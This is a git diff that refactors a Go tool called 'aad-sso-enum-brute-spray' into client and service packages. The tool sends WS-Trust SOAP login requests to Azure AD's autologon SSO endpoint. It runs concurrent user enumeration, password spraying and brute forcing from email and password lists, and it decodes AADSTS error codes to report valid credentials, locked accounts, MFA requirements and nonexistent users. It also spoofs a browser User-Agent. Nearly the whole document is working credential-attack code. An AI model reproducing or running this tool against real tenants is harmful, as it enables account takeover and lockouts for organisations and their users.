diff --git a/cmd/main.go b/cmd/main.go index 2576082..361074f 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -1,199 +1,40 @@ package main import ( + "aad-sso-enum-brute-spray/pkg/clients" + "aad-sso-enum-brute-spray/pkg/services" "bufio" - "encoding/xml" "flag" - "fmt" "io" - "io/ioutil" "log" - "net/http" "os" "strings" "sync" "time" - - "github.com/google/uuid" ) - -type stringFlag struct { +type Flag struct { set bool value string } -type xmlStruct struct { - Dtext string `xml:"Body>Fault>Detail>error>internalerror>text"` -} - -func (sf *stringFlag) Set(x string) error { +func (sf *Flag) Set(x string) error { sf.value = x sf.set = true return nil } -func (sf *stringFlag) String() string { +func (sf *Flag) String() string { return sf.value } var ( - email stringFlag - password stringFlag - emailsFile stringFlag - passwordsFile stringFlag - output io.Writer + email Flag + password Flag + emailsFile Flag + passwordsFile Flag wg sync.WaitGroup ) -func requestAzureActiveDirectory(domain string, user string, password string) { - requestid := uuid.New() - MessageID := uuid.New() - userID := uuid.New() - now := time.Now() - creates := now.Format(time.RFC3339Nano) - expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) - url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() - body := strings.NewReader(` - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - ` + url + ` - urn:uuid:` + MessageID.String() + ` - - - ` + creates + ` - ` + expires + ` - - - ` + user + ` - ` + password + ` - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - urn:federation:MicrosoftOnline - - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - -`) - // create a request object - req, _ := http.NewRequest( - "POST", - url, - body, - ) - // add a request header - req.Header.Add("Content-Type", "application/json; charset=UTF-8") - req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") - // send an HTTP using `req` object - res, err := http.DefaultClient.Do(req) - // check for response error - if err != nil { - log.Fatal("Error:", err) - } - // read response body - data, _ := ioutil.ReadAll(res.Body) - // close response body - res.Body.Close() - // print response status and body - if res.StatusCode != 200 { - getResults(getErrorCode(string(data)), user, password) - } else { - fmt.Fprintln(output, user+":"+password+" -> Correct credentials") - } - defer wg.Done() -} - -func enumUsers(users_file string, password string) { - - users, err := os.Open(users_file) - if err != nil { - log.Fatal(err) - } - defer users.Close() - scanner_users := bufio.NewScanner(users) - for scanner_users.Scan() { - wg.Add(1) - user := scanner_users.Text() - domain := strings.Split(user, "@")[1] - go requestAzureActiveDirectory(domain, user, password) - } - if err := scanner_users.Err(); err != nil { - log.Fatal(err) - } -} - -func passwordAttack(passwords_file string, user string, domain string) { - - passwords, err := os.Open(passwords_file) - if err != nil { - log.Fatal(err) - } - defer passwords.Close() - scanner_passwords := bufio.NewScanner(passwords) - for scanner_passwords.Scan() { - wg.Add(1) - go requestAzureActiveDirectory(domain, user, scanner_passwords.Text()) - } - if err := scanner_passwords.Err(); err != nil { - log.Fatal(err) - } -} - -func bruteForcing(users_file string, passwords_file string) { - users, err := os.Open(users_file) - if err != nil { - log.Fatal(err) - } - defer users.Close() - scanner_users := bufio.NewScanner(users) - for scanner_users.Scan() { - user := scanner_users.Text() - domain := strings.Split(user, "@")[1] - passwordAttack(passwords_file, user, domain) - } - if err := scanner_users.Err(); err != nil { - log.Fatal(err) - } -} - -func getErrorCode(xmlcode string) string { - // Extract error code from xml response - x := xmlStruct{} - _ = xml.Unmarshal([]byte(xmlcode), &x) - errorCode := strings.Split(x.Dtext, ":")[0] - return errorCode -} - -func getResults(errorCode string, user string, password string) { - - switch { - case errorCode == "AADSTS81016": - fmt.Fprintln(output, user+":"+password+" -> Invalid STS request") - case errorCode == "AADSTS50053": - fmt.Fprintln(output, user+":"+password+" -> Locked") - case errorCode == "AADSTS50126": - fmt.Fprintln(output, user+":"+password+" -> Bad Password") - case errorCode == "AADSTS50056": - fmt.Fprintln(output, user+":"+password+" -> Exists w/no password") - case errorCode == "AADSTS50014": - fmt.Fprintln(output, user+":"+password+" -> Exists, but max passthru auth time exceeded") - case errorCode == "AADSTS50076": - fmt.Fprintln(output, user+":"+password+" -> Need mfa") - case errorCode == "AADSTS700016": - fmt.Fprintln(output, user+":"+password+" -> No app") - case errorCode == "AADSTS50034": - fmt.Fprintln(output, user+":"+password+" -> No user") - } -} - func init() { flag.Var(&email, "email", "Example: user@domain.com") flag.Var(&password, "password", "Example: P@ssw0rd!") @@ -202,21 +43,20 @@ func init() { } func main() { - flag.Parse() - filename := "output-" + time.Now().Format("20060102150405") + ".txt" fd, err := os.Create(filename) if err != nil { log.Print(err) os.Exit(1) } - output = io.MultiWriter(os.Stdout, fd) + output := io.MultiWriter(os.Stdout, fd) if email.set && password.set { wg.Add(1) domain := strings.Split(email.value, "@")[1] - go requestAzureActiveDirectory(domain, email.value, password.value) + client := clients.NewAzureClient() + go client.GetAzureActiveDirectory(domain, email.value, password.value,&wg,output) } if emailsFile.set { if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) { @@ -231,14 +71,37 @@ func main() { } } if passwordsFile.set && emailsFile.set { - bruteForcing(emailsFile.value, passwordsFile.value) + bruteForcing(emailsFile.value, passwordsFile.value, output) } if email.set && passwordsFile.set { domain := strings.Split(email.value, "@")[1] - passwordAttack(passwordsFile.value, email.value, domain) + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile.value,email.value,domain,client,&wg, output) + passwordAttack.Execute() } if emailsFile.set && password.set { - enumUsers(emailsFile.value, password.value) + client := clients.NewAzureClient() + enumUsers := services.NewEnumUsers(emailsFile.value, password.value,client,&wg,output) + enumUsers.Execute() } wg.Wait() } + +func bruteForcing(usersFile string, passwordsFile string, writer io.Writer) { + users, err := os.Open(usersFile) + if err != nil { + log.Fatal(err) + } + defer users.Close() + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { + user := scannerUsers.Text() + domain := strings.Split(user, "@")[1] + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile, user, domain, client, &wg, writer) + passwordAttack.Execute() + } + if err := scannerUsers.Err(); err != nil { + log.Fatal(err) + } +} diff --git a/pkg/clients/AzureClient.go b/pkg/clients/AzureClient.go new file mode 100644 index 0000000..b6adcdb --- /dev/null +++ b/pkg/clients/AzureClient.go @@ -0,0 +1,114 @@ +package clients + +import ( + "aad-sso-enum-brute-spray/pkg/dto" + "encoding/xml" + "fmt" + "github.com/google/uuid" + "io" + "io/ioutil" + "log" + "net/http" + "strings" + "sync" + "time" +) + +type AzureClient struct {} + +func NewAzureClient() *AzureClient { + return &AzureClient{} +} + +func (azc *AzureClient) GetAzureActiveDirectory(domain string, user string, password string, wg *sync.WaitGroup, writer io.Writer) { + requestid := uuid.New() + MessageID := uuid.New() + userID := uuid.New() + now := time.Now() + creates := now.Format(time.RFC3339Nano) + expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) + url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() + body := strings.NewReader(` + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + ` + url + ` + urn:uuid:` + MessageID.String() + ` + + + ` + creates + ` + ` + expires + ` + + + ` + user + ` + ` + password + ` + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + urn:federation:MicrosoftOnline + + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + +`) + // create a request object + req, _ := http.NewRequest( + "POST", + url, + body, + ) + // add a request header + req.Header.Add("Content-Type", "application/json; charset=UTF-8") + req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") + // send an HTTP using `req` object + res, err := http.DefaultClient.Do(req) + // check for response error + if err != nil { + log.Fatal("Error:", err) + } + // read response body + data, _ := ioutil.ReadAll(res.Body) + // close response body + res.Body.Close() + // print response status and body + if res.StatusCode != 200 { + errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) + errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) + fmt.Fprintln(writer, errorMessage) + } else { + fmt.Fprintln(writer, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) + } + defer wg.Done() +} + +func getErrorCode(xmlcode string) string { + // Extract error code from xml response + azureErrorResponseDto := dto.AzureErrorResponseDto{} + _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) + errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] + return errorCode +} + +func getErrorCodeMessage(errorCode string) string { + var errorCodesMessage = map[string]string{ + "AADSTS81016": "Invalid STS request", + "AADSTS50053": "Locked", + "AADSTS50126": "Bad Password", + "AADSTS50056": "Exists w/no password", + "AADSTS50014": "Exists, but max passthru auth time exceeded", + "AADSTS50076": "Need mfa", + "AADSTS700016": "No app", + "AADSTS50034": "No user", + } + if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { + return errorCodeMessage + } + return "No error message for ErrorCode: " + errorCode +} \ No newline at end of file diff --git a/pkg/dto/AzureErrorResponseDto.go b/pkg/dto/AzureErrorResponseDto.go new file mode 100644 index 0000000..183c311 --- /dev/null +++ b/pkg/dto/AzureErrorResponseDto.go @@ -0,0 +1,5 @@ +package dto + +type AzureErrorResponseDto struct { + Error string `xml:"Body>Fault>Detail>error>internalerror>text"` +} diff --git a/pkg/services/EnumUsers.go b/pkg/services/EnumUsers.go new file mode 100644 index 0000000..fbfa4bd --- /dev/null +++ b/pkg/services/EnumUsers.go @@ -0,0 +1,41 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "strings" + "sync" +) + +type EnumUsers struct { + usersFile string + password string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewEnumUsers(usersFile string, password string, azureClient *clients.AzureClient, wg *sync.WaitGroup, writer io.Writer) *EnumUsers { + return &EnumUsers{usersFile: usersFile, password: password, azureClient: azureClient, wg: wg, writer: writer} +} + +func (eu *EnumUsers) Execute() { + users, err := os.Open(eu.usersFile) + if err != nil { + log.Fatal(err) + } + defer users.Close() + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { + eu.wg.Add(1) + user := scannerUsers.Text() + domain := strings.Split(user, "@")[1] + go eu.azureClient.GetAzureActiveDirectory(domain, user, eu.password, eu.wg, eu.writer) + } + if err := scannerUsers.Err(); err != nil { + log.Fatal(err) + } +} diff --git a/pkg/services/PasswordAttack.go b/pkg/services/PasswordAttack.go new file mode 100644 index 0000000..9f36e17 --- /dev/null +++ b/pkg/services/PasswordAttack.go @@ -0,0 +1,40 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "sync" +) + +type PasswordAttack struct { + passwordFile string + user string + domain string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewPasswordAttack(passwordFile string, user string, domain string, azureClient *clients.AzureClient, + wg *sync.WaitGroup, writer io.Writer) *PasswordAttack { + return &PasswordAttack{passwordFile: passwordFile, user: user, domain: domain, azureClient: azureClient, wg: wg, writer: writer} +} + +func (p *PasswordAttack) Execute() { + passwords, err := os.Open(p.passwordFile) + if err != nil { + log.Fatal(err) + } + defer passwords.Close() + scannerPasswords := bufio.NewScanner(passwords) + for scannerPasswords.Scan() { + p.wg.Add(1) + go p.azureClient.GetAzureActiveDirectory(p.domain, p.user, scannerPasswords.Text(), p.wg, p.writer) + } + if err := scannerPasswords.Err(); err != nil { + log.Fatal(err) + } +}